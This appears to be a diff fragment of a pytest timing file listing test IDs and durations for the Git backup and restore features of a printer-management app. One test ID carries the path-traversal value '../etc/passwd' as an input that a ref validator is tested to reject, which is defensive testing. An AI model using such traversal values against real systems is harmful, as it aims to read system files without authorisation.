"unit/test_git_providers_restore.py::TestGitLabReads::test_fetch_files_encodes_nested_path": 0.0016120616346597672, + "unit/test_git_providers_restore.py::TestGitLabReads::test_fetch_files_ignores_a_blob_map": 0.0016223322600126266, + "unit/test_git_providers_restore.py::TestGitLabReads::test_fetch_files_skips_404": 0.0017988607287406921, + "unit/test_git_providers_restore.py::TestGitLabReads::test_hitting_the_page_cap_is_a_failure_not_a_partial_list": 0.002679441124200821, + "unit/test_git_providers_restore.py::TestGitLabReads::test_list_commits_reads_flattened_author_fields": 0.0016975793987512589, + "unit/test_git_providers_restore.py::TestGitLabReads::test_list_commits_uses_ref_name": 0.001660030335187912, + "unit/test_git_providers_restore.py::TestGitLabReads::test_list_tree_follows_pagination": 0.0019423794001340866, + "unit/test_git_providers_restore.py::TestGitLabReads::test_list_tree_returns_blob_paths": 0.0016157478094100952, + "unit/test_git_providers_restore.py::TestGitLabReads::test_list_tree_returns_no_blob_map": 0.0016089649870991707, + "unit/test_git_providers_restore.py::TestGitLabReads::test_subgroup_path_is_url_encoded": 0.0016201362013816833, + "unit/test_git_providers_restore.py::TestGiteaAndForgejoInheritReads::test_a_clamped_page_size_is_still_read_to_the_end[ForgejoBackend]": 0.001988477073609829, + "unit/test_git_providers_restore.py::TestGiteaAndForgejoInheritReads::test_a_clamped_page_size_is_still_read_to_the_end[GiteaBackend]": 0.0018183086067438126, + "unit/test_git_providers_restore.py::TestGiteaAndForgejoInheritReads::test_a_countless_response_is_paged_to_the_end[ForgejoBackend]": 0.0019873855635523796, + "unit/test_git_providers_restore.py::TestGiteaAndForgejoInheritReads::test_a_countless_response_is_paged_to_the_end[GiteaBackend]": 0.001806718297302723, + "unit/test_git_providers_restore.py::TestGiteaAndForgejoInheritReads::test_a_countless_short_page_ends_the_paging": 0.0017043137922883034, + "unit/test_git_providers_restore.py::TestGiteaAndForgejoInheritReads::test_a_countless_single_page_tree_still_costs_one_request": 0.0018067965283989906, + "unit/test_git_providers_restore.py::TestGiteaAndForgejoInheritReads::test_a_countless_tree_beyond_the_page_cap_still_fails": 0.007796993479132652, + "unit/test_git_providers_restore.py::TestGiteaAndForgejoInheritReads::test_a_missing_ref_is_still_named": 0.0018093818798661232, + "unit/test_git_providers_restore.py::TestGiteaAndForgejoInheritReads::test_a_non_int_total_count_is_treated_as_no_count": 0.0017293114215135574, + "unit/test_git_providers_restore.py::TestGiteaAndForgejoInheritReads::test_a_paged_tree_is_read_to_the_end[ForgejoBackend]": 0.002080206759274006, + "unit/test_git_providers_restore.py::TestGiteaAndForgejoInheritReads::test_a_paged_tree_is_read_to_the_end[GiteaBackend]": 0.0021567819640040398, + "unit/test_git_providers_restore.py::TestGiteaAndForgejoInheritReads::test_a_single_page_tree_costs_one_request": 0.0016969088464975357, + "unit/test_git_providers_restore.py::TestGiteaAndForgejoInheritReads::test_a_tree_beyond_the_page_cap_fails_rather_than_truncating": 0.007561683654785156, + "unit/test_git_providers_restore.py::TestGiteaAndForgejoInheritReads::test_gitea_list_commits_uses_its_own_api_base": 0.0017411243170499802, + "unit/test_git_providers_restore.py::TestGiteaAndForgejoInheritReads::test_gitea_subpath_install_is_respected": 0.003512643277645111, + "unit/test_git_providers_restore.py::TestGiteaAndForgejoInheritReads::test_read_methods_are_not_overridden[ForgejoBackend]": 0.0010849926620721817, + "unit/test_git_providers_restore.py::TestGiteaAndForgejoInheritReads::test_read_methods_are_not_overridden[GiteaBackend]": 0.0011114832013845444, + "unit/test_git_providers_restore.py::TestGiteaAndForgejoInheritReads::test_the_tree_read_is_paged_rather_than_inherited[ForgejoBackend]": 0.0010713981464505196, + "unit/test_git_providers_restore.py::TestGiteaAndForgejoInheritReads::test_the_tree_read_is_paged_rather_than_inherited[GiteaBackend]": 0.0010745534673333168, + "unit/test_github_backup_cloud_profiles.py::TestBambuCollection::test_account_identity_is_not_written_to_the_repo": 0.1780765987932682, + "unit/test_github_backup_cloud_profiles.py::TestBambuCollection::test_one_unreadable_preset_does_not_lose_the_others": 0.18151369132101536, + "unit/test_github_backup_cloud_profiles.py::TestBambuCollection::test_public_presets_are_not_backed_up": 0.1776540270075202, + "unit/test_github_backup_cloud_profiles.py::TestBambuCollection::test_reads_the_shape_the_api_actually_returns": 0.18896246142685413, + "unit/test_github_backup_cloud_profiles.py::TestBambuCollection::test_stores_the_payload_a_restore_needs": 0.17401469592005014, + "unit/test_github_backup_cloud_profiles.py::TestBambuCollection::test_unauthenticated_account_writes_nothing": 0.17366110160946846, + "unit/test_github_backup_cloud_profiles.py::TestCloudAccountEnumeration::test_auth_disabled_uses_the_global_store": 0.1834546597674489, + "unit/test_github_backup_cloud_profiles.py::TestCloudAccountEnumeration::test_auth_enabled_finds_every_user_holding_a_token": 0.17961446102708578, + "unit/test_github_backup_cloud_profiles.py::TestCloudAccountEnumeration::test_global_and_per_user_accounts_coexist": 0.1852499032393098, + "unit/test_github_backup_cloud_profiles.py::TestCollectorAndMetadata::test_metadata_records_per_account_counts_when_collected": 0.17574268393218517, + "unit/test_github_backup_cloud_profiles.py::TestCollectorAndMetadata::test_metadata_reports_collection_not_configuration": 0.17304790392518044, + "unit/test_github_backup_cloud_profiles.py::TestCollectorAndMetadata::test_no_connected_account_collects_nothing": 0.1811401592567563, + "unit/test_github_backup_cloud_profiles.py::TestCollectorAndMetadata::test_one_failing_account_does_not_stop_the_others": 0.18387664016336203, + "unit/test_github_backup_cloud_profiles.py::TestOrcaCollection::test_a_rejected_session_says_it_will_keep_being_skipped": 0.17986485920846462, + "unit/test_github_backup_cloud_profiles.py::TestOrcaCollection::test_an_unreachable_orca_is_a_transient_skip": 0.17830826248973608, + "unit/test_github_backup_cloud_profiles.py::TestOrcaCollection::test_content_is_stored_inline_without_a_second_fetch": 0.21224942803382874, + "unit/test_github_backup_cloud_profiles.py::TestOrcaCollection::test_dead_pairing_writes_nothing_and_does_not_raise": 0.1761308927088976, + "unit/test_github_backup_cloud_profiles.py::TestOrcaCollection::test_groups_by_content_type_including_aliases": 0.1779184127226472, + "unit/test_github_backup_cloud_profiles.py::TestOrcaCollection::test_the_backup_never_disconnects_an_account": 0.17532518226653337, + "unit/test_github_backup_cloud_profiles.py::TestOrcaCollection::test_unmapped_types_are_kept_not_dropped": 0.17689471319317818, + "unit/test_github_backup_cloud_profiles.py::TestSettingsFallbackIsStillHonoured::test_global_orca_row_is_discovered": 0.18373026512563229, + "unit/test_github_backup_schemas.py::TestGitHubBackupConfigCreate::test_forgejo_is_valid": 0.001113908365368843, + "unit/test_github_backup_schemas.py::TestGitHubBackupConfigCreate::test_gitea_is_valid_without_api_base_url": 0.001284266822040081, + "unit/test_github_backup_schemas.py::TestGitHubBackupConfigCreate::test_http_url_with_allow_insecure_is_valid": 0.0011084666475653648, + "unit/test_github_backup_schemas.py::TestGitHubBackupConfigCreate::test_http_url_without_allow_insecure_raises": 0.0011706240475177765, + "unit/test_github_backup_schemas.py::TestGitHubBackupConfigCreate::test_invalid_url_raises_validation_error": 0.0012859292328357697, + "unit/test_github_backup_schemas.py::TestGitHubBackupConfigCreate::test_plain_github_is_valid": 0.0013112891465425491, + "unit/test_github_backup_schemas.py::TestGitHubBackupConfigCreate::test_unknown_provider_raises_validation_error": 0.0011532614007592201, + "unit/test_github_backup_schemas.py::TestGitHubBackupConfigCreate::test_url_regex_accepts_self_hosted_https_url": 0.001105000264942646, + "unit/test_github_backup_schemas.py::TestGitHubBackupConfigCreate::test_url_regex_accepts_ssh_url": 0.001189650036394596, + "unit/test_github_backup_schemas.py::TestProviderTypeEnum::test_has_expected_string_values": 0.0015788991004228592, + "unit/test_github_restore.py::TestApplyOrdering::test_a_tally_is_recorded_only_after_its_category_commits": 0.0019464772194623947, + "unit/test_github_restore.py::TestApplyOrdering::test_every_database_category_commits_before_the_next_one_starts": 0.0035135848447680473, + "unit/test_github_restore.py::TestApplyOrdering::test_the_callers_results_dict_is_populated_in_place": 0.001954774372279644, + "unit/test_github_restore.py::TestApplyOrdering::test_the_printer_phase_runs_with_no_write_transaction_open": 0.002674042247235775, + "unit/test_github_restore.py::TestArchiveOwnerNaturalKey::test_a_pre_username_backup_still_resolves_on_the_id": 0.18870548997074366, + "unit/test_github_restore.py::TestArchiveOwnerNaturalKey::test_a_renamed_owner_lands_ownerless_with_a_note": 0.1850868398323655, + "unit/test_github_restore.py::TestArchiveOwnerNaturalKey::test_an_explicitly_ownerless_archive_reads_as_no_owner_not_as_unmatched": 0.18912167008966208, + "unit/test_github_restore.py::TestArchiveOwnerNaturalKey::test_an_unmatched_name_does_not_also_claim_no_owner_was_recorded": 0.20254426822066307, + "unit/test_github_restore.py::TestArchiveOwnerNaturalKey::test_overwrite_leaves_the_owner_alone_when_neither_key_is_present": 0.19068079348653555, + "unit/test_github_restore.py::TestArchiveOwnerNaturalKey::test_the_collector_names_no_owner_for_an_unowned_archive": 0.17542986758053303, + "unit/test_github_restore.py::TestArchiveOwnerNaturalKey::test_the_name_beats_a_live_id_belonging_to_someone_else": 0.18400956876575947, + "unit/test_github_restore.py::TestArchiveOwnerNaturalKey::test_the_name_resolves_across_a_renumbered_users_table": 0.18618496786803007, + "unit/test_github_restore.py::TestArchiveOwnerNaturalKey::test_the_name_survives_collect_then_restore": 0.18542612344026566, + "unit/test_github_restore.py::TestArchiveOwnerNaturalKey::test_the_unmatched_note_is_emitted_once_for_many_rows": 0.19026976451277733, + "unit/test_github_restore.py::TestCategoryPathMapping::test_absent_paths_are_omitted": 0.0016413265839219093, + "unit/test_github_restore.py::TestCategoryPathMapping::test_cloud_profiles_are_not_a_restore_category": 0.0010962355881929398, + "unit/test_github_restore.py::TestCategoryPathMapping::test_kprofiles_globs_all_serials_and_nozzles": 0.0016616955399513245, + "unit/test_github_restore.py::TestCategoryPathMapping::test_spools_includes_usage_history": 0.002047366462647915, + "unit/test_github_restore.py::TestCategoryTally::test_a_note_carries_code_params_and_english": 0.0011354582384228706, + "unit/test_github_restore.py::TestCategoryTally::test_notes_are_bounded": 0.0012080362066626549, + "unit/test_github_restore.py::TestCategoryTally::test_notes_are_deduplicated": 0.001141408458352089, + "unit/test_github_restore.py::TestCategoryTally::test_the_same_code_with_different_params_is_kept": 0.001125718466937542, + "unit/test_github_restore.py::TestCompanionCredentials::test_a_blank_ldap_bind_password_no_longer_lets_the_toggle_through": 0.1770258704200387, + "unit/test_github_restore.py::TestCompanionCredentials::test_a_blank_local_credential_row_is_not_usable": 0.18164241034537554, + "unit/test_github_restore.py::TestCompanionCredentials::test_a_toggle_already_on_locally_is_written": 0.743337313644588, + "unit/test_github_restore.py::TestCompanionCredentials::test_a_usable_local_credential_lets_the_toggle_through": 0.18192465044558048, + "unit/test_github_restore.py::TestCompanionCredentials::test_an_anonymous_broker_is_not_a_false_positive": 0.1852883966639638, + "unit/test_github_restore.py::TestCompanionCredentials::test_an_authored_ldap_payload_cannot_substitute_the_directory": 0.1820651050657034, + "unit/test_github_restore.py::TestCompanionCredentials::test_every_companion_credential_is_blocked_and_no_toggle_is": 0.0016772225499153137, + "unit/test_github_restore.py::TestCompanionCredentials::test_every_environment_override_names_a_companion_credential": 0.0011765845119953156, + "unit/test_github_restore.py::TestCompanionCredentials::test_every_exposure_toggle_is_a_companion_toggle": 0.001682373695075512, + "unit/test_github_restore.py::TestCompanionCredentials::test_every_pair_refuses_its_toggle[ha_enabled-ha_token]": 0.19170803669840097, + "unit/test_github_restore.py::TestCompanionCredentials::test_every_pair_refuses_its_toggle[mqtt_enabled-mqtt_password]": 0.18291576951742172, + "unit/test_github_restore.py::TestCompanionCredentials::test_every_pair_refuses_its_toggle[prometheus_enabled-prometheus_token]": 0.18114461097866297, + "unit/test_github_restore.py::TestCompanionCredentials::test_every_pair_refuses_its_toggle[virtual_printer_enabled-virtual_printer_access_code]": 0.17999227158725262, + "unit/test_github_restore.py::TestCompanionCredentials::test_ha_toggle_is_refused_when_the_environment_has_no_token": 0.18229702953249216, + "unit/test_github_restore.py::TestCompanionCredentials::test_ha_token_in_the_environment_counts_as_usable": 0.18304562103003263, + "unit/test_github_restore.py::TestCompanionCredentials::test_plan_leaves_unusable_key_names_in_no_bucket": 0.18081280775368214, + "unit/test_github_restore.py::TestCompanionCredentials::test_preview_count_drops_by_one_when_the_local_credential_is_missing": 0.17849427089095116, + "unit/test_github_restore.py::TestCompanionCredentials::test_prometheus_is_refused_when_the_backup_has_no_token_key_at_all": 0.19057766906917095, + "unit/test_github_restore.py::TestCompanionCredentials::test_prometheus_is_refused_when_the_backup_token_is_blank[ ]": 0.1823486452922225, + "unit/test_github_restore.py::TestCompanionCredentials::test_prometheus_is_refused_when_the_backup_token_is_blank[]": 0.17845067847520113, + "unit/test_github_restore.py::TestCompanionCredentials::test_prometheus_toggle_is_refused_when_its_token_was_skipped": 0.1770457960665226, + "unit/test_github_restore.py::TestCompanionCredentials::test_refusals_are_not_counted_in_the_tally": 0.1895845578983426, + "unit/test_github_restore.py::TestCompanionCredentials::test_spellings_no_reader_treats_as_on_are_written[1]": 0.17928534280508757, + "unit/test_github_restore.py::TestCompanionCredentials::test_spellings_no_reader_treats_as_on_are_written[on]": 0.19158507604151964, + "unit/test_github_restore.py::TestCompanionCredentials::test_spellings_no_reader_treats_as_on_are_written[yes]": 0.19085286557674408, + "unit/test_github_restore.py::TestCompanionCredentials::test_tally_total_equals_the_preview_item_count": 0.18402178958058357, + "unit/test_github_restore.py::TestCompanionCredentials::test_the_availability_class_keeps_the_backup_credential_condition": 0.18615147192031145, + "unit/test_github_restore.py::TestCompanionCredentials::test_the_exposure_route_still_stands_down_for_a_local_token": 0.18038350250571966, + "unit/test_github_restore.py::TestCompanionCredentials::test_the_exposure_route_still_stands_down_when_already_on": 0.1926107406616211, + "unit/test_github_restore.py::TestCompanionCredentials::test_the_preview_says_so_with_no_credential_key_to_skip": 0.1817738888785243, + "unit/test_github_restore.py::TestCompanionCredentials::test_the_spools_tally_holds_the_same_invariant": 0.1915633464232087, + "unit/test_github_restore.py::TestCompanionCredentials::test_true_is_refused_however_it_is_spelled[ True ]": 0.19023074116557837, + "unit/test_github_restore.py::TestCompanionCredentials::test_true_is_refused_however_it_is_spelled[TRUE]": 0.17984539270401, + "unit/test_github_restore.py::TestCompanionCredentials::test_true_is_refused_however_it_is_spelled[True]": 0.17989932652562857, + "unit/test_github_restore.py::TestCompanionCredentials::test_turning_a_toggle_off_is_always_written": 0.17849453259259462, + "unit/test_github_restore.py::TestDescribeCommit::test_a_commit_outside_the_window_is_fetched_directly": 0.0060301125049591064, + "unit/test_github_restore.py::TestDescribeCommit::test_a_direct_lookup_failure_is_not_fatal": 0.006201322190463543, + "unit/test_github_restore.py::TestDescribeCommit::test_a_full_sha_matches_an_abbreviated_entry": 0.0015265801921486855, + "unit/test_github_restore.py::TestDescribeCommit::test_an_abbreviated_ref_matches_a_full_sha_in_the_window": 0.001674768514931202, + "unit/test_github_restore.py::TestDescribeCommit::test_the_window_scan_is_not_run_twice": 0.0014995504170656204, + "unit/test_github_restore.py::TestKprofilePhaseFailure::test_a_failure_before_the_commit_still_reports_nothing_restored": 0.18242212291806936, + "unit/test_github_restore.py::TestKprofilePhaseFailure::test_a_later_category_failing_still_reports_the_earlier_one": 0.19503259845077991, + "unit/test_github_restore.py::TestKprofilePhaseFailure::test_a_malformed_profiles_value_is_a_skipped_category_not_a_raise": 0.18178995046764612, + "unit/test_github_restore.py::TestKprofilePhaseFailure::test_the_committed_categories_are_still_reported": 0.17942849174141884, + "unit/test_github_restore.py::TestKprofilePhaseFailure::test_the_failure_is_counted_and_explained": 0.18060292396694422, + "unit/test_github_restore.py::TestKprofilePhaseFailure::test_the_relay_is_reconfigured_even_though_the_phase_failed": 0.18371336441487074, + "unit/test_github_restore.py::TestMqttRelayReconfigure::test_a_refused_mqtt_enabled_is_not_reported_as_written": 0.18192318733781576, + "unit/test_github_restore.py::TestMqttRelayReconfigure::test_broker_failure_is_noted_not_fatal": 0.177955724298954, + "unit/test_github_restore.py::TestMqttRelayReconfigure::test_keys_skipped_for_overwrite_off_are_not_reported": 0.17824391275644302, + "unit/test_github_restore.py::TestMqttRelayReconfigure::test_no_reconnect_when_no_mqtt_key_was_written": 0.18269665725529194, + "unit/test_github_restore.py::TestMqttRelayReconfigure::test_reconfigures_from_the_committed_rows": 0.18385223299264908, + "unit/test_github_restore.py::TestMqttRelayReconfigure::test_restore_settings_reports_the_keys_it_wrote": 0.18081387039273977, + "unit/test_github_restore.py::TestMutex::test_backup_refuses_while_a_restore_is_running": 0.0014544380828738213, + "unit/test_github_restore.py::TestMutex::test_restore_refuses_while_a_backup_is_running": 0.0015423102304339409, + "unit/test_github_restore.py::TestMutex::test_restore_refuses_while_another_restore_is_running": 0.0013351216912269592, + "unit/test_github_restore.py::TestParseDt::test_an_offset_is_normalised_to_naive_utc": 0.0011140499264001846, + "unit/test_github_restore.py::TestParseDt::test_parses_iso_with_t_separator": 0.0010931696742773056, + "unit/test_github_restore.py::TestParseDt::test_parses_str_datetime_the_backup_writes": 0.0010924888774752617, + "unit/test_github_restore.py::TestParseDt::test_returns_none_for_junk[12345]": 0.0011338256299495697, + "unit/test_github_restore.py::TestParseDt::test_returns_none_for_junk[None]": 0.0011412082239985466, + "unit/test_github_restore.py::TestParseDt::test_returns_none_for_junk[]": 0.0011456869542598724, + "unit/test_github_restore.py::TestParseDt::test_returns_none_for_junk[not a date]": 0.0011376207694411278, + "unit/test_github_restore.py::TestParseDt::test_returns_none_for_junk[value4]": 0.0011255592107772827, + "unit/test_github_restore.py::TestResolveRef::test_concrete_sha_passes_through_without_an_api_call": 0.002095067873597145, + "unit/test_github_restore.py::TestResolveRef::test_empty_history_is_an_error": 0.0015107616782188416, + "unit/test_github_restore.py::TestResolveRef::test_head_resolves_to_the_tip_sha": 0.0015339059755206108, + "unit/test_github_restore.py::TestRestoreArchives::test_dangling_printer_and_project_links_are_cleared": 0.18882047571241856, + "unit/test_github_restore.py::TestRestoreArchives::test_falls_back_to_filename_and_start_without_hash": 0.1867190394550562, + "unit/test_github_restore.py::TestRestoreArchives::test_inserts_metadata_only_row_with_empty_file_path": 0.1876505734398961, + "unit/test_github_restore.py::TestRestoreArchives::test_locally_deleted_archive_stays_deleted_without_overwrite": 0.1812856448814273, + "unit/test_github_restore.py::TestRestoreArchives::test_matches_archive_with_no_started_at_by_hash": 0.19200619496405125, + "unit/test_github_restore.py::TestRestoreArchives::test_matches_existing_archive_by_hash_and_start": 0.18492270819842815, + "unit/test_github_restore.py::TestRestoreArchives::test_non_dict_entry_counts_as_failed": 0.17996809352189302, + "unit/test_github_restore.py::TestRestoreArchives::test_overwrite_undeletes_a_locally_deleted_archive_and_says_so": 0.18415970169007778, + "unit/test_github_restore.py::TestRestoreArchives::test_overwrite_updates_metadata_but_keeps_local_file_path": 0.18352467007935047, + "unit/test_github_restore.py::TestRestoreArchives::test_soft_deleted_archive_is_not_restored_as_visible": 0.18279912043362856, + "unit/test_github_restore.py::TestRestoreArchives::test_started_at_still_discriminates_when_present": 0.18053595907986164, + "unit/test_github_restore.py::TestRestoreArchives::test_valid_printer_link_is_preserved": 0.22682048007845879, + "unit/test_github_restore.py::TestRestoreKprofiles::test_a_backup_without_a_nozzle_id_omits_the_key": 0.19628414511680603, + "unit/test_github_restore.py::TestRestoreKprofiles::test_a_claimed_slot_does_not_make_an_ambiguous_pair_matchable": 0.18403819482773542, + "unit/test_github_restore.py::TestRestoreKprofiles::test_a_live_index_that_reports_no_extruder_still_matches": 0.18457346688956022, + "unit/test_github_restore.py::TestRestoreKprofiles::test_a_live_profile_without_a_nozzle_id_falls_back_to_the_backup": 0.18010010290890932, + "unit/test_github_restore.py::TestRestoreKprofiles::test_a_non_dict_profile_is_counted_failed_not_dropped": 0.19341980572789907, + "unit/test_github_restore.py::TestRestoreKprofiles::test_a_refused_batch_counts_failed_not_restored": 0.1839101118966937, + "unit/test_github_restore.py::TestRestoreKprofiles::test_a_silent_printer_still_counts_restored": 0.18940384965389967, + "unit/test_github_restore.py::TestRestoreKprofiles::test_always_warns_to_verify_on_the_printer": 0.1862578932195902, + "unit/test_github_restore.py::TestRestoreKprofiles::test_ambiguous_filament_without_discriminator_is_added_not_guessed": 0.18177452124655247, + "unit/test_github_restore.py::TestRestoreKprofiles::test_an_entry_without_an_extruder_id_still_matches": 0.17889690585434437, + "unit/test_github_restore.py::TestRestoreKprofiles::test_an_unreadable_ack_does_not_fail_the_batch": 0.19557841215282679, + "unit/test_github_restore.py::TestRestoreKprofiles::test_awaits_the_ack_for_the_sequence_id_it_was_given": 0.19808828551322222, + "unit/test_github_restore.py::TestRestoreKprofiles::test_different_filament_is_not_treated_as_a_match": 0.1854539467021823, + "unit/test_github_restore.py::TestRestoreKprofiles::test_each_extruders_profile_lands_on_its_own_extruder": 0.17891794443130493, + "unit/test_github_restore.py::TestRestoreKprofiles::test_each_nozzle_is_sent_separately": 0.1887371288612485, + "unit/test_github_restore.py::TestRestoreKprofiles::test_empty_payload_is_noted": 0.18342866003513336, + "unit/test_github_restore.py::TestRestoreKprofiles::test_matches_on_name_when_setting_id_was_regenerated": 0.18199798930436373, + "unit/test_github_restore.py::TestRestoreKprofiles::test_no_client_at_all_is_skipped": 0.19001652859151363, + "unit/test_github_restore.py::TestRestoreKprofiles::test_offline_printer_is_skipped_not_failed": 0.19174405559897423, + "unit/test_github_restore.py::TestRestoreKprofiles::test_one_refused_nozzle_does_not_condemn_the_other": 0.20912672486156225, + "unit/test_github_restore.py::TestRestoreKprofiles::test_publish_exception_is_contained": 0.1914347056299448, + "unit/test_github_restore.py::TestRestoreKprofiles::test_publish_failure_counts_as_failed": 0.182260581292212, + "unit/test_github_restore.py::TestRestoreKprofiles::test_sends_batch_to_connected_printer": 0.18563186936080456, + "unit/test_github_restore.py::TestRestoreKprofiles::test_sole_profile_for_a_filament_matches_without_setting_id_or_name": 0.18450246285647154, + "unit/test_github_restore.py::TestRestoreKprofiles::test_the_backups_nozzle_id_is_used_when_nothing_is_live": 0.18892188742756844, + "unit/test_github_restore.py::TestRestoreKprofiles::test_the_displaced_entry_does_not_inherit_the_claimed_setting_id": 0.17991810850799084, + "unit/test_github_restore.py::TestRestoreKprofiles::test_the_live_nozzle_id_beats_the_backups": 0.1860478986054659, + "unit/test_github_restore.py::TestRestoreKprofiles::test_the_offline_path_counts_the_same_entry": 0.17989030852913857, + "unit/test_github_restore.py::TestRestoreKprofiles::test_the_other_extruders_profile_is_not_a_candidate": 0.18549516424536705, + "unit/test_github_restore.py::TestRestoreKprofiles::test_two_entries_cannot_claim_the_same_live_slot": 0.1777467904612422, + "unit/test_github_restore.py::TestRestoreKprofiles::test_two_entries_matching_two_live_profiles_keep_their_own_slots": 0.18286152742803097, + "unit/test_github_restore.py::TestRestoreKprofiles::test_unknown_serial_is_skipped_with_reason": 0.18012885469943285, + "unit/test_github_restore.py::TestRestoreKprofiles::test_unmatched_profile_is_added_rather_than_aimed_at_a_dead_slot": 0.18179902620613575, + "unit/test_github_restore.py::TestRestoreKprofiles::test_unreadable_live_index_degrades_to_adding": 0.19258694630116224, + "unit/test_github_restore.py::TestRestoreKprofiles::test_uses_the_live_cali_idx_not_the_backed_up_slot": 0.1842639446258545, + "unit/test_github_restore.py::TestRestoreRequestSchema::test_accepts_valid_refs[HEAD]": 0.001175914891064167, + "unit/test_github_restore.py::TestRestoreRequestSchema::test_accepts_valid_refs[aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa]": 0.0011801132932305336, + "unit/test_github_restore.py::TestRestoreRequestSchema::test_accepts_valid_refs[abc1234]": 0.0011738091707229614, + "unit/test_github_restore.py::TestRestoreRequestSchema::test_deduplicates_categories": 0.001163119450211525, + "unit/test_github_restore.py::TestRestoreRequestSchema::test_defaults_to_head": 0.0011143898591399193, + "unit/test_github_restore.py::TestRestoreRequestSchema::test_rejects_empty_category_list": 0.0011302577331662178, + "unit/test_github_restore.py::TestRestoreRequestSchema::test_rejects_refs_that_are_not_object_names[../etc/passwd]": 0.0011686598882079124, + "unit/test_github_restore.py::TestRestoreRequestSchema::test_rejects_refs_that_are_not_object_names[aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa]": 0.0011672284454107285, + "unit/test_github_restore.py::TestRestoreRequestSchema::test_rejects_refs_that_are_not_object_names[abc 123]": 0.0012060198932886124, + "unit/test_github_restore.py::TestRestoreRequestSchema::test_rejects_refs_that_are_not_object_names[abc]": 0.0011631306260824203, + "unit/test_github_restore.py::TestRestoreRequestSchema::test_rejects_refs_that_are_not_object_names[main]": 0.001172986812889576, + "unit/test_github_restore.py::TestRestoreRequestSchema::test_rejects_refs_that_are_not_object_names[zzzzzzz]": 0.0011639110743999481, + "unit/test_github_restore.py::TestRestoreSettings::test_auth_settings_are_never_restored": 0.1869245432317257, + "unit/test_github_restore.py::TestRestoreSettings::test_credential_keys_are_never_restored": 0.1813007201999426, + "unit/test_github_restore.py::TestRestoreSettings::test_inserts_missing_keys": 0.17952590435743332, + "unit/test_github_restore.py::TestRestoreSettings::test_missing_payload_is_noted_not_fatal": 0.17861575819551945, + "unit/test_github_restore.py::TestRestoreSettings::test_overwrites_existing_key_when_enabled": 0.18075064104050398, + "unit/test_github_restore.py::TestRestoreSettings::test_skips_existing_key_when_overwrite_off": 0.17728839255869389, + "unit/test_github_restore.py::TestRestoreSpools::test_dangling_printer_id_is_cleared": 0.1901120375841856, + "unit/test_github_restore.py::TestRestoreSpools::test_dropped_archive_link_is_explained": 0.19465483166277409, + "unit/test_github_restore.py::TestRestoreSpools::test_insert_preserves_created_at_so_repeat_restore_is_idempotent": 0.19382107630372047, + "unit/test_github_restore.py::TestRestoreSpools::test_inserts_without_reusing_backup_id": 0.1885231574997306, + "unit/test_github_restore.py::TestRestoreSpools::test_matches_existing_spool_by_tag_uid": 0.18604950327426195, + "unit/test_github_restore.py::TestRestoreSpools::test_matches_existing_spool_by_tray_uuid": 0.18425259552896023, + "unit/test_github_restore.py::TestRestoreSpools::test_matches_tagless_spool_by_descriptive_composite": 0.18172467593103647, + "unit/test_github_restore.py::TestRestoreSpools::test_no_note_when_every_archive_link_resolves": 0.1977568445727229, + "unit/test_github_restore.py::TestRestoreSpools::test_overwrite_updates_matched_spool": 0.18881453480571508, + "unit/test_github_restore.py::TestRestoreSpools::test_usage_history_archive_id_is_remapped": 0.19277922622859478, + "unit/test_github_restore.py::TestRestoreSpools::test_usage_history_is_not_duplicated_on_repeat_restore": 0.18846814520657063, + "unit/test_github_restore.py::TestRestoreSpools::test_usage_history_spool_id_is_remapped": 0.19400244764983654, + "unit/test_github_restore.py::TestRestoreSpools::test_usage_resolves_against_a_spool_skipped_because_overwrite_is_off": 0.18986352067440748, + "unit/test_github_restore.py::TestRestoreSpools::test_usage_row_with_unresolvable_spool_is_skipped_and_explained": 0.1787220174446702, + "unit/test_github_restore.py::TestRestoredArchiveOwnership::test_a_backup_without_the_key_still_restores_and_says_so": 0.19170161709189415, + "unit/test_github_restore.py::TestRestoredArchiveOwnership::test_a_known_owner_is_not_reported": 0.20676213316619396, + "unit/test_github_restore.py::TestRestoredArchiveOwnership::test_a_stale_owner_is_not_reported_twice": 0.194451117888093, + "unit/test_github_restore.py::TestRestoredArchiveOwnership::test_an_explicitly_ownerless_archive_is_reported_too": 0.18604780919849873, + "unit/test_github_restore.py::TestRestoredArchiveOwnership::test_an_unknown_owner_is_cleared_with_a_note_not_failed": 0.19055179227143526, + "unit/test_github_restore.py::TestRestoredArchiveOwnership::test_an_unresolvable_name_still_lands_ownerless_on_insert": 0.1915000481531024, + "unit/test_github_restore.py::TestRestoredArchiveOwnership::test_overwrite_leaves_deleted_at_alone_when_the_backup_predates_the_key": 0.20429006032645702, + "unit/test_github_restore.py::TestRestoredArchiveOwnership::test_overwrite_leaves_the_owner_alone_when_the_backup_names_someone_unknown": 0.19435668364167213, + "unit/test_github_restore.py::TestRestoredArchiveOwnership::test_overwrite_leaves_the_owner_alone_when_the_backup_predates_the_key": 0.18386900424957275, + "unit/test_github_restore.py::TestRestoredArchiveOwnership::test_overwrite_leaves_the_owner_alone_when_the_backups_id_is_stale": 0.19271147903054953, + "unit/test_github_restore.py::TestRestoredArchiveOwnership::test_overwrite_makes_the_local_owner_match_the_backup": 0.20384623855352402, + "unit/test_github_restore.py::TestRestoredArchiveOwnership::test_overwrite_still_clears_an_owner_the_backup_explicitly_nulls": 0.1851784409955144, + "unit/test_github_restore.py::TestRestoredArchiveOwnership::test_overwrite_still_undeletes_when_the_backup_explicitly_nulls": 0.1805122448131442, + "unit/test_github_restore.py::TestRestoredArchiveOwnership::test_owner_is_carried_across": 0.1982550285756588, + "unit/test_github_restore.py::TestRestoredArchiveOwnership::test_owner_survives_collect_then_restore": 0.1841857898980379, + "unit/test_github_restore.py::TestRestoredArchiveOwnership::test_the_owner_note_is_emitted_once_for_many_rows": 0.19175250176340342, + "unit/test_github_restore.py::TestRestoredArchiveOwnership::test_the_unknown_owner_note_is_not_emitted_on_overwrite": 0.19410389848053455, + "unit/test_github_restore.py::TestServerDefaultCreatedAtDedupe::test_a_genuinely_new_usage_row_still_lands": 0.18572966288775206, + "unit/test_github_restore.py::TestServerDefaultCreatedAtDedupe::test_a_second_spool_added_later_stays_distinct": 0.1918595340102911, + "unit/test_github_restore.py::TestServerDefaultCreatedAtDedupe::test_a_tagless_spool_is_not_duplicated": 0.18222568463534117, + "unit/test_github_restore.py::TestServerDefaultCreatedAtDedupe::test_existing_usage_history_is_not_re_inserted": 0.18521516118198633, + "unit/test_github_restore.py::TestServerDefaultCreatedAtDedupe::test_find_spool_matches_on_the_composite_fallback": 0.17820649221539497, + 